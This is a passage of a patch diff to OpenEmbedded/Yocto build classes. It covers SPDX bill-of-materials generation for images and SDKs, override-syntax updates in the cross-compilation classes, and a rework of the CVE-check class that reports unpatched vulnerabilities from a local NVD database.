+ bb.utils.mkdirhier(src_dir)
+ if bb.data.inherits_class('kernel',d):
+ share_src = d.getVar('STAGING_KERNEL_DIR')
+ cmd_copy_share = "cp -rf " + share_src + "/* " + src_dir + "/"
+ cmd_copy_kernel_result = os.popen(cmd_copy_share).read()
+ bb.note("cmd_copy_kernel_result = " + cmd_copy_kernel_result)
+
+ git_path = src_dir + "/.git"
+ if os.path.exists(git_path):
+ shutils.rmtree(git_path)
+
+ # Make sure gcc and kernel sources are patched only once
+ if not (d.getVar('SRC_URI') == "" or is_work_shared_spdx(d)):
+ bb.build.exec_func('do_patch', d)
+
+ # Some userland has no source.
+ if not os.path.exists( spdx_workdir ):
+ bb.utils.mkdirhier(spdx_workdir)
+ finally:
+ d.setVar("WORKDIR", workdir)
+
+do_rootfs[recrdeptask] += "do_create_spdx do_create_runtime_spdx"
+
+ROOTFS_POSTUNINSTALL_COMMAND =+ "image_combine_spdx ; "
+
+do_populate_sdk[recrdeptask] += "do_create_spdx do_create_runtime_spdx"
+POPULATE_SDK_POST_HOST_COMMAND:append:task-populate-sdk = " sdk_host_combine_spdx; "
+POPULATE_SDK_POST_TARGET_COMMAND:append:task-populate-sdk = " sdk_target_combine_spdx; "
+
+python image_combine_spdx() {
+ import os
+ import oe.sbom
+ from pathlib import Path
+ from oe.rootfs import image_list_installed_packages
+
+ image_name = d.getVar("IMAGE_NAME")
+ image_link_name = d.getVar("IMAGE_LINK_NAME")
+ imgdeploydir = Path(d.getVar("IMGDEPLOYDIR"))
+ img_spdxid = oe.sbom.get_image_spdxid(image_name)
+ packages = image_list_installed_packages(d)
+
+ combine_spdx(d, image_name, imgdeploydir, img_spdxid, packages)
+
+ if image_link_name:
+ image_spdx_path = imgdeploydir / (image_name + ".spdx.json")
+ image_spdx_link = imgdeploydir / (image_link_name + ".spdx.json")
+ image_spdx_link.symlink_to(os.path.relpath(image_spdx_path, image_spdx_link.parent))
+
+ def make_image_link(target_path, suffix):
+ if image_link_name:
+ link = imgdeploydir / (image_link_name + suffix)
+ link.symlink_to(os.path.relpath(target_path, link.parent))
+
+ spdx_tar_path = imgdeploydir / (image_name + ".spdx.tar.zst")
+ make_image_link(spdx_tar_path, ".spdx.tar.zst")
+ spdx_index_path = imgdeploydir / (image_name + ".spdx.index.json")
+ make_image_link(spdx_index_path, ".spdx.index.json")
+}
+
+python sdk_host_combine_spdx() {
+ sdk_combine_spdx(d, "host")
+}
+
+python sdk_target_combine_spdx() {
+ sdk_combine_spdx(d, "target")
+}
+
+def sdk_combine_spdx(d, sdk_type):
+ import oe.sbom
+ from pathlib import Path
+ from oe.sdk import sdk_list_installed_packages
+
+ sdk_name = d.getVar("SDK_NAME") + "-" + sdk_type
+ sdk_deploydir = Path(d.getVar("SDKDEPLOYDIR"))
+ sdk_spdxid = oe.sbom.get_sdk_spdxid(sdk_name)
+ sdk_packages = sdk_list_installed_packages(d, sdk_type == "target")
+ combine_spdx(d, sdk_name, sdk_deploydir, sdk_spdxid, sdk_packages)
+
+def combine_spdx(d, rootfs_name, rootfs_deploydir, rootfs_spdxid, packages):
+ import os
+ import oe.spdx
+ import oe.sbom
+ import io
+ import json
+ from datetime import timezone, datetime
+ from pathlib import Path
+ import tarfile
+ import bb.compress.zstd
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+
+ doc = oe.spdx.SPDXDocument()
+ doc.name = rootfs_name
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing the source of the Yocto recipe during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ image = oe.spdx.SPDXPackage()
+ image.name = d.getVar("PN")
+ image.versionInfo = d.getVar("PV")
+ image.SPDXID = rootfs_spdxid
+ image.packageSupplier = d.getVar("SPDX_SUPPLIER")
+
+ doc.packages.append(image)
+
+ for name in sorted(packages.keys()):
+ pkg_spdx_path = deploy_dir_spdx / "packages" / (name + ".spdx.json")
+ pkg_doc, pkg_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in pkg_doc.packages:
+ if p.name == name:
+ pkg_ref = oe.spdx.SPDXExternalDocumentRef()
+ pkg_ref.externalDocumentId = "DocumentRef-%s" % pkg_doc.name
+ pkg_ref.spdxDocument = pkg_doc.documentNamespace
+ pkg_ref.checksum.algorithm = "SHA1"
+ pkg_ref.checksum.checksumValue = pkg_doc_sha1
+
+ doc.externalDocumentRefs.append(pkg_ref)
+ doc.add_relationship(image, "CONTAINS", "%s:%s" % (pkg_ref.externalDocumentId, p.SPDXID))
+ break
+ else:
+ bb.fatal("Unable to find package with name '%s' in SPDX file %s" % (name, pkg_spdx_path))
+
+ runtime_spdx_path = deploy_dir_spdx / "runtime" / ("runtime-" + name + ".spdx.json")
+ runtime_doc, runtime_doc_sha1 = oe.sbom.read_doc(runtime_spdx_path)
+
+ runtime_ref = oe.spdx.SPDXExternalDocumentRef()
+ runtime_ref.externalDocumentId = "DocumentRef-%s" % runtime_doc.name
+ runtime_ref.spdxDocument = runtime_doc.documentNamespace
+ runtime_ref.checksum.algorithm = "SHA1"
+ runtime_ref.checksum.checksumValue = runtime_doc_sha1
+
+ # "OTHER" isn't ideal here, but I can't find a relationship that makes sense
+ doc.externalDocumentRefs.append(runtime_ref)
+ doc.add_relationship(
+ image,
+ "OTHER",
+ "%s:%s" % (runtime_ref.externalDocumentId, runtime_doc.SPDXID),
+ comment="Runtime dependencies for %s" % name
+ )
+
+ image_spdx_path = rootfs_deploydir / (rootfs_name + ".spdx.json")
+
+ with image_spdx_path.open("wb") as f:
+ doc.to_json(f, sort_keys=True)
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ visited_docs = set()
+
+ index = {"documents": []}
+
+ spdx_tar_path = rootfs_deploydir / (rootfs_name + ".spdx.tar.zst")
+ with bb.compress.zstd.open(spdx_tar_path, "w", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode="w|") as tar:
+ def collect_spdx_document(path):
+ nonlocal tar
+ nonlocal deploy_dir_spdx
+ nonlocal source_date_epoch
+ nonlocal index
+
+ if path in visited_docs:
+ return
+
+ visited_docs.add(path)
+
+ with path.open("rb") as f:
+ doc, sha1 = oe.sbom.read_doc(f)
+ f.seek(0)
+
+ if doc.documentNamespace in visited_docs:
+ return
+
+ bb.note("Adding SPDX document %s" % path)
+ visited_docs.add(doc.documentNamespace)
+ info = tar.gettarinfo(fileobj=f)
+
+ info.name = doc.name + ".spdx.json"
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > int(source_date_epoch):
+ info.mtime = int(source_date_epoch)
+
+ tar.addfile(info, f)
+
+ index["documents"].append({
+ "filename": info.name,
+ "documentNamespace": doc.documentNamespace,
+ "sha1": sha1,
+ })
+
+ for ref in doc.externalDocumentRefs:
+ ref_path = deploy_dir_spdx / "by-namespace" / ref.spdxDocument.replace("/", "_")
+ collect_spdx_document(ref_path)
+
+ collect_spdx_document(image_spdx_path)
+
+ index["documents"].sort(key=lambda x: x["filename"])
+
+ index_str = io.BytesIO(json.dumps(index, sort_keys=True).encode("utf-8"))
+
+ info = tarfile.TarInfo()
+ info.name = "index.json"
+ info.size = len(index_str.getvalue())
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ tar.addfile(info, fileobj=index_str)
+
+ spdx_index_path = rootfs_deploydir / (rootfs_name + ".spdx.index.json")
+ with spdx_index_path.open("w") as f:
+ json.dump(index, f, sort_keys=True)
diff --git a/meta/classes/cross-canadian.bbclass b/meta/classes/cross-canadian.bbclass
index f5c9f61595..a0e9d23836 100644
--- a/meta/classes/cross-canadian.bbclass
+++ b/meta/classes/cross-canadian.bbclass
@@ -36,10 +36,12 @@ python () {
return
tos = d.getVar("TARGET_OS")
- whitelist = []
+ tos_known = ["mingw32"]
extralibcs = [""]
if "musl" in d.getVar("BASECANADIANEXTRAOS"):
extralibcs.append("musl")
+ if "android" in tos:
+ extralibcs.append("android")
for variant in ["", "spe", "x32", "eabi", "n32", "_ilp32"]:
for libc in extralibcs:
entry = "linux"
@@ -49,8 +51,8 @@ python () {
entry = entry + "-gnu" + variant
elif libc:
entry = entry + "-" + libc
- whitelist.append(entry)
- if tos not in whitelist:
+ tos_known.append(entry)
+ if tos not in tos_known:
bb.fatal("Building cross-candian for an unknown TARGET_SYS (%s), please update cross-canadian.bbclass" % d.getVar("TARGET_SYS"))
for n in ["PROVIDES", "DEPENDS"]:
@@ -104,7 +106,7 @@ STAGING_DIR_HOST = "${RECIPE_SYSROOT}"
TOOLCHAIN_OPTIONS = " --sysroot=${RECIPE_SYSROOT}"
-PATH_append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
+PATH:append = ":${TMPDIR}/sysroots/${HOST_ARCH}/${bindir_cross}"
PKGHIST_DIR = "${TMPDIR}/pkghistory/${HOST_ARCH}-${SDKPKGSUFFIX}${HOST_VENDOR}-${HOST_OS}/"
HOST_ARCH = "${SDK_ARCH}"
@@ -129,7 +131,7 @@ LDFLAGS = "${BUILDSDK_LDFLAGS} \
# We need chrpath >= 0.14 to ensure we can deal with 32 and 64 bit
# binaries
#
-DEPENDS_append = " chrpath-replacement-native"
+DEPENDS:append = " chrpath-replacement-native"
EXTRANATIVEPATH += "chrpath-native"
# Path mangling needed by the cross packaging
@@ -153,9 +155,9 @@ base_sbindir = "${bindir}"
libdir = "${exec_prefix}/lib/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
libexecdir = "${exec_prefix}/libexec/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
-FILES_${PN} = "${prefix}"
+FILES:${PN} = "${prefix}"
-export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${layout_libdir}/pkgconfig"
+export PKG_CONFIG_DIR = "${STAGING_DIR_HOST}${exec_prefix}/lib/pkgconfig"
export PKG_CONFIG_SYSROOT_DIR = "${STAGING_DIR_HOST}"
do_populate_sysroot[stamp-extra-info] = ""
@@ -167,7 +169,7 @@ USE_NLS = "${SDKUSE_NLS}"
# and not any particular tune that is enabled.
TARGET_ARCH[vardepsexclude] = "TUNE_ARCH"
-PKGDATA_DIR = "${TMPDIR}/pkgdata/${SDK_SYS}"
+PKGDATA_DIR = "${PKGDATA_DIR_SDK}"
# If MLPREFIX is set by multilib code, shlibs
# points to the wrong place so force it
SHLIBSDIRS = "${PKGDATA_DIR}/nativesdk-shlibs2"
diff --git a/meta/classes/cross.bbclass b/meta/classes/cross.bbclass
index f832561daf..9d951076a7 100644
--- a/meta/classes/cross.bbclass
+++ b/meta/classes/cross.bbclass
@@ -7,7 +7,7 @@ EXCLUDE_FROM_WORLD = "1"
CLASSOVERRIDE = "class-cross"
PACKAGES = ""
PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
+PACKAGES_DYNAMIC:class-native = ""
HOST_ARCH = "${BUILD_ARCH}"
HOST_VENDOR = "${BUILD_VENDOR}"
@@ -70,13 +70,8 @@ libdir = "${exec_prefix}/lib/${CROSS_TARGET_SYS_DIR}"
libexecdir = "${exec_prefix}/libexec/${CROSS_TARGET_SYS_DIR}"
do_populate_sysroot[sstate-inputdirs] = "${SYSROOT_DESTDIR}/${STAGING_DIR_NATIVE}/"
-do_populate_sysroot[stamp-extra-info] = ""
do_packagedata[stamp-extra-info] = ""
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
-}
-
USE_NLS = "no"
export CC = "${BUILD_CC}"
@@ -97,3 +92,6 @@ python do_addto_recipe_sysroot () {
bb.build.exec_func("extend_recipe_sysroot", d)
}
addtask addto_recipe_sysroot after do_populate_sysroot
+do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
+
+PATH:prepend = "${COREBASE}/scripts/cross-intercept:"
diff --git a/meta/classes/crosssdk.bbclass b/meta/classes/crosssdk.bbclass
index c0c0bfee16..04aecb694e 100644
--- a/meta/classes/crosssdk.bbclass
+++ b/meta/classes/crosssdk.bbclass
@@ -5,9 +5,15 @@ NATIVESDKLIBC ?= "libc-glibc"
LIBCOVERRIDE = ":${NATIVESDKLIBC}"
MACHINEOVERRIDES = ""
PACKAGE_ARCH = "${SDK_ARCH}"
+
python () {
# set TUNE_PKGARCH to SDK_ARCH
d.setVar('TUNE_PKGARCH', d.getVar('SDK_ARCH'))
+ # Set features here to prevent appends and distro features backfill
+ # from modifying nativesdk distro features
+ features = set(d.getVar("DISTRO_FEATURES_NATIVESDK").split())
+ filtered = set(bb.utils.filter("DISTRO_FEATURES", d.getVar("DISTRO_FEATURES_FILTER_NATIVESDK"), d).split())
+ d.setVar("DISTRO_FEATURES", " ".join(sorted(features | filtered)))
}
STAGING_BINDIR_TOOLCHAIN = "${STAGING_DIR_NATIVE}${bindir_native}/${TARGET_ARCH}${TARGET_VENDOR}-${TARGET_OS}"
@@ -37,7 +43,6 @@ target_prefix = "${SDKPATHNATIVE}${prefix_nativesdk}"
target_exec_prefix = "${SDKPATHNATIVE}${prefix_nativesdk}"
baselib = "lib"
-do_populate_sysroot[stamp-extra-info] = ""
do_packagedata[stamp-extra-info] = ""
# Need to force this to ensure consitency across architectures
diff --git a/meta/classes/cve-check.bbclass b/meta/classes/cve-check.bbclass
index 1c8b2223a2..dfad10c22b 100644
--- a/meta/classes/cve-check.bbclass
+++ b/meta/classes/cve-check.bbclass
@@ -20,57 +20,105 @@
# the only method to check against CVEs. Running this tool
# doesn't guarantee your packages are free of CVEs.
-# The product name that the CVE database uses. Defaults to BPN, but may need to
+# The product name that the CVE database uses defaults to BPN, but may need to
# be overriden per recipe (for example tiff.bb sets CVE_PRODUCT=libtiff).
CVE_PRODUCT ??= "${BPN}"
CVE_VERSION ??= "${PV}"
CVE_CHECK_DB_DIR ?= "${DL_DIR}/CVE_CHECK"
-CVE_CHECK_DB_FILE ?= "${CVE_CHECK_DB_DIR}/nvdcve_1.0.db"
+CVE_CHECK_DB_FILE ?= "${CVE_CHECK_DB_DIR}/nvdcve_1.1.db"
+CVE_CHECK_DB_FILE_LOCK ?= "${CVE_CHECK_DB_FILE}.lock"
CVE_CHECK_LOG ?= "${T}/cve.log"
CVE_CHECK_TMP_FILE ?= "${TMPDIR}/cve_check"
+CVE_CHECK_SUMMARY_DIR ?= "${LOG_DIR}/cve"
+CVE_CHECK_SUMMARY_FILE_NAME ?= "cve-summary"
+CVE_CHECK_SUMMARY_FILE ?= "${CVE_CHECK_SUMMARY_DIR}/${CVE_CHECK_SUMMARY_FILE_NAME}"
CVE_CHECK_DIR ??= "${DEPLOY_DIR}/cve"
+CVE_CHECK_RECIPE_FILE ?= "${CVE_CHECK_DIR}/${PN}"
CVE_CHECK_MANIFEST ?= "${DEPLOY_DIR_IMAGE}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cve"
CVE_CHECK_COPY_FILES ??= "1"
CVE_CHECK_CREATE_MANIFEST ??= "1"
-# Whitelist for packages (PN)
-CVE_CHECK_PN_WHITELIST ?= ""
+CVE_CHECK_REPORT_PATCHED ??= "1"
-# Whitelist for CVE. If a CVE is found, then it is considered patched.
-# The value is a string containing space separated CVE values:
-#
-# CVE_CHECK_WHITELIST = 'CVE-2014-2524 CVE-2018-1234'
-#
-CVE_CHECK_WHITELIST ?= ""
+# Skip CVE Check for packages (PN)
+CVE_CHECK_SKIP_RECIPE ?= ""
+
+# Ingore the check for a given list of CVEs. If a CVE is found,
+# then it is considered patched. The value is a string containing
+# space separated CVE values:
+#
+# CVE_CHECK_IGNORE = 'CVE-2014-2524 CVE-2018-1234'
+#
+CVE_CHECK_IGNORE ?= ""
+
+# Layers to be excluded
+CVE_CHECK_LAYER_EXCLUDELIST ??= ""
+
+# Layers to be included
+CVE_CHECK_LAYER_INCLUDELIST ??= ""
+
+
+# set to "alphabetical" for version using single alphabetical character as increment release
+CVE_VERSION_SUFFIX ??= ""
+
+python cve_save_summary_handler () {
+ import shutil
+ import datetime
+
+ cve_tmp_file = d.getVar("CVE_CHECK_TMP_FILE")
+
+ cve_summary_name = d.getVar("CVE_CHECK_SUMMARY_FILE_NAME")
+ cvelogpath = d.getVar("CVE_CHECK_SUMMARY_DIR")
+ bb.utils.mkdirhier(cvelogpath)
+
+ timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
+ cve_summary_file = os.path.join(cvelogpath, "%s-%s.txt" % (cve_summary_name, timestamp))
+
+ if os.path.exists(cve_tmp_file):
+ shutil.copyfile(cve_tmp_file, cve_summary_file)
+
+ if cve_summary_file and os.path.exists(cve_summary_file):
+ cvefile_link = os.path.join(cvelogpath, cve_summary_name)
+
+ if os.path.exists(os.path.realpath(cvefile_link)):
+ os.remove(cvefile_link)
+ os.symlink(os.path.basename(cve_summary_file), cvefile_link)
+}
+
+addhandler cve_save_summary_handler
+cve_save_summary_handler[eventmask] = "bb.event.BuildCompleted"
python do_cve_check () {
"""
Check recipe for patched and unpatched CVEs
"""
+ from oe.cve_check import get_patched_cves
if os.path.exists(d.getVar("CVE_CHECK_DB_FILE")):
- patched_cves = get_patches_cves(d)
- patched, unpatched = check_cves(d, patched_cves)
+ try:
+ patched_cves = get_patched_cves(d)
+ except FileNotFoundError:
+ bb.fatal("Failure in searching patches")
+ ignored, patched, unpatched = check_cves(d, patched_cves)
if patched or unpatched:
cve_data = get_cve_info(d, patched + unpatched)
- cve_write_data(d, patched, unpatched, cve_data)
+ cve_write_data(d, patched, unpatched, ignored, cve_data)
else:
bb.note("No CVE database found, skipping CVE check")
}
-addtask cve_check after do_unpack before do_build
-do_cve_check[depends] = "cve-update-db-native:do_populate_cve_db"
+addtask cve_check before do_build after do_fetch
+do_cve_check[depends] = "cve-update-db-native:do_fetch"
do_cve_check[nostamp] = "1"
python cve_check_cleanup () {
"""
Delete the file used to gather all the CVE information.
"""
-
bb.utils.remove(e.data.getVar("CVE_CHECK_TMP_FILE"))
}
@@ -85,7 +133,7 @@ python cve_check_write_rootfs_manifest () {
import shutil
if d.getVar("CVE_CHECK_COPY_FILES") == "1":
- deploy_file = os.path.join(d.getVar("CVE_CHECK_DIR"), d.getVar("PN"))
+ deploy_file = d.getVar("CVE_CHECK_RECIPE_FILE")
if os.path.exists(deploy_file):
bb.utils.remove(deploy_file)
@@ -96,6 +144,7 @@ python cve_check_write_rootfs_manifest () {
manifest_name = d.getVar("CVE_CHECK_MANIFEST")
cve_tmp_file = d.getVar("CVE_CHECK_TMP_FILE")
+ bb.utils.mkdirhier(os.path.dirname(manifest_name))
shutil.copyfile(cve_tmp_file, manifest_name)
if manifest_name and os.path.exists(manifest_name):
@@ -107,200 +156,166 @@ python cve_check_write_rootfs_manifest () {
bb.plain("Image CVE report stored in: %s" % manifest_name)
}
-ROOTFS_POSTPROCESS_COMMAND_prepend = "${@'cve_check_write_rootfs_manifest; ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
+ROOTFS_POSTPROCESS_COMMAND:prepend = "${@'cve_check_write_rootfs_manifest; ' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
do_rootfs[recrdeptask] += "${@'do_cve_check' if d.getVar('CVE_CHECK_CREATE_MANIFEST') == '1' else ''}"
-def get_patches_cves(d):
- """
- Get patches that solve CVEs using the "CVE: " tag.
- """
-
- import re
-
- pn = d.getVar("PN")
- cve_match = re.compile("CVE:( CVE\-\d{4}\-\d+)+")
-
- # Matches last CVE-1234-211432 in the file name, also if written
- # with small letters. Not supporting multiple CVE id's in a single
- # file name.
- cve_file_name_match = re.compile(".*([Cc][Vv][Ee]\-\d{4}\-\d+)")
-
- patched_cves = set()
- bb.debug(2, "Looking for patches that solves CVEs for %s" % pn)
- for url in src_patches(d):
- patch_file = bb.fetch.decodeurl(url)[2]
-
- # Check patch file name for CVE ID
- fname_match = cve_file_name_match.search(patch_file)
- if fname_match:
- cve = fname_match.group(1).upper()
- patched_cves.add(cve)
- bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
-
- with open(patch_file, "r", encoding="utf-8") as f:
- try:
- patch_text = f.read()
- except UnicodeDecodeError:
- bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
- " trying with iso8859-1" % patch_file)
- f.close()
- with open(patch_file, "r", encoding="iso8859-1") as f:
- patch_text = f.read()
-
- # Search for one or more "CVE: " lines
- text_match = False
- for match in cve_match.finditer(patch_text):
- # Get only the CVEs without the "CVE: " tag
- cves = patch_text[match.start()+5:match.end()]
- for cve in cves.split():
- bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
- patched_cves.add(cve)
- text_match = True
-
- if not fname_match and not text_match:
- bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
-
- return patched_cves
-
def check_cves(d, patched_cves):
"""
Connect to the NVD database and find unpatched cves.
"""
- import ast, csv, tempfile, subprocess, io
- from distutils.version import LooseVersion
+ from oe.cve_check import Version
+
+ pn = d.getVar("PN")
+ real_pv = d.getVar("PV")
+ suffix = d.getVar("CVE_VERSION_SUFFIX")
cves_unpatched = []
# CVE_PRODUCT can contain more than one product (eg. curl/libcurl)
products = d.getVar("CVE_PRODUCT").split()
# If this has been unset then we're not scanning for CVEs here (for example, image recipes)
if not products:
- return ([], [])
+ return ([], [], [])
pv = d.getVar("CVE_VERSION").split("+git")[0]
- # If the recipe has been whitlisted we return empty lists
- if d.getVar("PN") in d.getVar("CVE_CHECK_PN_WHITELIST").split():
- bb.note("Recipe has been whitelisted, skipping check")
- return ([], [])
+ # If the recipe has been skipped/ignored we return empty lists
+ if pn in d.getVar("CVE_CHECK_SKIP_RECIPE").split():
+ bb.note("Recipe has been skipped by cve-check")
+ return ([], [], [])
- old_cve_whitelist = d.getVar("CVE_CHECK_CVE_WHITELIST")
- if old_cve_whitelist:
- bb.warn("CVE_CHECK_CVE_WHITELIST is deprecated, please use CVE_CHECK_WHITELIST.")
- cve_whitelist = d.getVar("CVE_CHECK_WHITELIST").split()
+ cve_ignore = d.getVar("CVE_CHECK_IGNORE").split()
import sqlite3
- db_file = d.getVar("CVE_CHECK_DB_FILE")
- conn = sqlite3.connect(db_file)
+ db_file = d.expand("file:${CVE_CHECK_DB_FILE}?mode=ro")
+ conn = sqlite3.connect(db_file, uri=True)
+ # For each of the known product names (e.g. curl has CPEs using curl and libcurl)...
for product in products:
- c = conn.cursor()
if ":" in product:
vendor, product = product.split(":", 1)
- c.execute("SELECT * FROM PRODUCTS WHERE PRODUCT IS ? AND VENDOR IS ?", (product, vendor))
else:
- c.execute("SELECT * FROM PRODUCTS WHERE PRODUCT IS ?", (product,))
-
- for row in c:
- cve = row[0]
- version_start = row[3]
- operator_start = row[4]
- version_end = row[5]
- operator_end = row[6]
-
- if cve in cve_whitelist:
- bb.note("%s-%s has been whitelisted for %s" % (product, pv, cve))
- # TODO: this should be in the report as 'whitelisted'
+ vendor = "%"
+
+ # Find all relevant CVE IDs.
+ for cverow in conn.execute("SELECT DISTINCT ID FROM PRODUCTS WHERE PRODUCT IS ? AND VENDOR LIKE ?", (product, vendor)):
+ cve = cverow[0]
+
+ if cve in cve_ignore:
+ bb.note("%s-%s has been ignored for %s" % (product, pv, cve))
+ # TODO: this should be in the report as 'ignored'
patched_cves.add(cve)
+ continue
elif cve in patched_cves:
bb.note("%s has been patched" % (cve))
- else:
- to_append = False
- if (operator_start == '=' and pv == version_start):
- to_append = True
+ continue
+
+ vulnerable = False
+ for row in conn.execute("SELECT * FROM PRODUCTS WHERE ID IS ? AND PRODUCT IS ? AND VENDOR LIKE ?", (cve, product, vendor)):
+ (_, _, _, version_start, operator_start, version_end, operator_end) = row
+ #bb.debug(2, "Evaluating row " + str(row))
+
+ if (operator_start == '=' and pv == version_start) or version_start == '-':
+ vulnerable = True
else:
if operator_start:
try:
- to_append_start = (operator_start == '>=' and LooseVersion(pv) >= LooseVersion(version_start))
- to_append_start |= (operator_start == '>' and LooseVersion(pv) > LooseVersion(version_start))
+ vulnerable_start = (operator_start == '>=' and Version(pv,suffix) >= Version(version_start,suffix))
+ vulnerable_start |= (operator_start == '>' and Version(pv,suffix) > Version(version_start,suffix))
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_start, version_start, cve))
- to_append_start = False
+ vulnerable_start = False
else:
- to_append_start = False
+ vulnerable_start = False
if operator_end:
try:
- to_append_end = (operator_end == '<=' and LooseVersion(pv) <= LooseVersion(version_end))
- to_append_end |= (operator_end == '<' and LooseVersion(pv) < LooseVersion(version_end))
+ vulnerable_end = (operator_end == '<=' and Version(pv,suffix) <= Version(version_end,suffix) )
+ vulnerable_end |= (operator_end == '<' and Version(pv,suffix) < Version(version_end,suffix) )
except:
bb.warn("%s: Failed to compare %s %s %s for %s" %
(product, pv, operator_end, version_end, cve))
- to_append_end = False
+ vulnerable_end = False
else:
- to_append_end = False
+ vulnerable_end = False
if operator_start and operator_end:
- to_append = to_append_start and to_append_end
+ vulnerable = vulnerable_start and vulnerable_end
else:
- to_append = to_append_start or to_append_end
+ vulnerable = vulnerable_start or vulnerable_end
- if to_append:
- bb.note("%s-%s is vulnerable to %s" % (product, pv, cve))
+ if vulnerable:
+ bb.note("%s-%s is vulnerable to %s" % (pn, real_pv, cve))
cves_unpatched.append(cve)
- else:
- bb.note("%s-%s is not vulnerable to %s" % (product, pv, cve))
- patched_cves.add(cve)
+ break
+
+ if not vulnerable:
+ bb.note("%s-%s is not vulnerable to %s" % (pn, real_pv, cve))
+ # TODO: not patched but not vulnerable
+ patched_cves.add(cve)
+
conn.close()
- return (list(patched_cves), cves_unpatched)
+ return (list(cve_ignore), list(patched_cves), cves_unpatched)
def get_cve_info(d, cves):
"""
Get CVE information from the database.
-
- Unfortunately the only way to get CVE info is set the output to
- html (hard to parse) or query directly the database.
"""
- try:
- import sqlite3
- except ImportError:
- from pysqlite2 import dbapi2 as sqlite3
+ import sqlite3
cve_data = {}
- db_file = d.getVar("CVE_CHECK_DB_FILE")
- placeholder = ",".join("?" * len(cves))
- query = "SELECT * FROM NVD WHERE id IN (%s)" % placeholder
- conn = sqlite3.connect(db_file)
- cur = conn.cursor()
- for row in cur.execute(query, tuple(cves)):
- cve_data[row[0]] = {}
- cve_data[row[0]]["summary"] = row[1]
- cve_data[row[0]]["scorev2"] = row[2]
- cve_data[row[0]]["scorev3"] = row[3]
- cve_data[row[0]]["modified"] = row[4]
- cve_data[row[0]]["vector"] = row[5]
- conn.close()
+ db_file = d.expand("file:${CVE_CHECK_DB_FILE}?mode=ro")
+ conn = sqlite3.connect(db_file, uri=True)
+
+ for cve in cves:
+ for row in conn.execute("SELECT * FROM NVD WHERE ID IS ?", (cve,)):
+ cve_data[row[0]] = {}
+ cve_data[row[0]]["summary"] = row[1]
+ cve_data[row[0]]["scorev2"] = row[2]
+ cve_data[row[0]]["scorev3"] = row[3]
+ cve_data[row[0]]["modified"] = row[4]
+ cve_data[row[0]]["vector"] = row[5]
+ conn.close()
return cve_data
-def cve_write_data(d, patched, unpatched, cve_data):
+def cve_write_data(d, patched, unpatched, ignored, cve_data):
"""
Write CVE information in WORKDIR; and to CVE_CHECK_DIR, and
CVE manifest if enabled.
"""
+
cve_file = d.getVar("CVE_CHECK_LOG")
- nvd_link = "https://web.nvd.nist.gov/view/vuln/detail?vulnId="
+ fdir_name = d.getVar("FILE_DIRNAME")
+ layer = fdir_name.split("/")[-3]
+
+ include_layers = d.getVar("CVE_CHECK_LAYER_INCLUDELIST").split()
+ exclude_layers = d.getVar("CVE_CHECK_LAYER_EXCLUDELIST").split()
+
+ if exclude_layers and layer in exclude_layers:
+ return
+
+ if include_layers and layer not in include_layers:
+ return
+
+ nvd_link = "https://nvd.nist.gov/vuln/detail/"
write_string = ""
unpatched_cves = []
bb.utils.mkdirhier(os.path.dirname(cve_file))
for cve in sorted(cve_data):
+ is_patched = cve in patched
+ if is_patched and (d.getVar("CVE_CHECK_REPORT_PATCHED") != "1"):
+ continue
+ write_string += "LAYER: %s\n" % layer
write_string += "PACKAGE NAME: %s\n" % d.getVar("PN")
- write_string += "PACKAGE VERSION: %s\n" % d.getVar("PV")
+ write_string += "PACKAGE VERSION: %s%s\n" % (d.getVar("EXTENDPE"), d.getVar("PV"))
write_string += "CVE: %s\n" % cve
- if cve in patched:
+ if cve in ignored:
+ write_string += "CVE STATUS: Ignored\n"
+ elif is_patched:
write_string += "CVE STATUS: Patched\n"
else:
unpatched_cves.append(cve)
@@ -314,17 +329,20 @@ def cve_write_data(d, patched, unpatched, cve_data):
if unpatched_cves:
bb.warn("Found unpatched CVE (%s), for more information check %s" % (" ".join(unpatched_cves),cve_file))
- with open(cve_file, "w") as f:
- bb.note("Writing file %s with CVE information" % cve_file)
- f.write(write_string)
-
- if d.getVar("CVE_CHECK_COPY_FILES") == "1":
- cve_dir = d.getVar("CVE_CHECK_DIR")
- bb.utils.mkdirhier(cve_dir)
- deploy_file = os.path.join(cve_dir, d.getVar("PN"))
- with open(deploy_file, "w") as f:
+ if write_string:
+ with open(cve_file, "w") as f:
+ bb.note("Writing file %s with CVE information" % cve_file)
f.write(write_string)
- if d.getVar("CVE_CHECK_CREATE_MANIFEST") == "1":
- with open(d.getVar("CVE_CHECK_TMP_FILE"), "a") as f:
- f.write("%s" % write_string)
